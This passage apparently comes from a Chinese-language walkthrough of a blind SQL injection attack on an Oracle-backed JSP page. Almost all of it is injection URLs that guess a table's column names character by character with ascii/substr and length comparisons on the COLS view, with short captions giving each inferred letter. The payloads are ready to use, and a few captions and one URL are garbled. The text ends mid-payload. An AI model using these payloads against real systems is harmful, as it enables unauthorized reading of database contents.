http://www.test.net/index_kaoyan_view.jsp?id=117And50=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And50>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And48=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

l以下为猜解第一列的第一个字段名CLASS的长度为：5

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And1>=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And4>=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And5<=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And9>=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And7=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And7>nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And5=nvl(length((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1)),0)

l以下为猜解第一列第一个字段的第一位为：C

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And78=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And78>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And71=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And71>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And68=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And68>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And66=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And66>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),1,1))

l以下为猜解第一列第一个字段的第一位为:L

http://www.test.net/index_kaoyan_view.jsp?id=117And67=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And79=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And79>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And73=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And73>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.j,,sp?id=117And76=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),2,1))

l以下为猜解第一列第一个字段的第三位为：A

http://www.test.net/index_kaoyan_view.jsp?id=117And76=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And83=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And83>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And79=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And79>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77=ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77>ascii(substr((SELECTCOLUMN_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)ORDERBY2ASC)WHEREROWNUM<=1)ORDERBY2DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70=ascii(substr((SELECTCOLU

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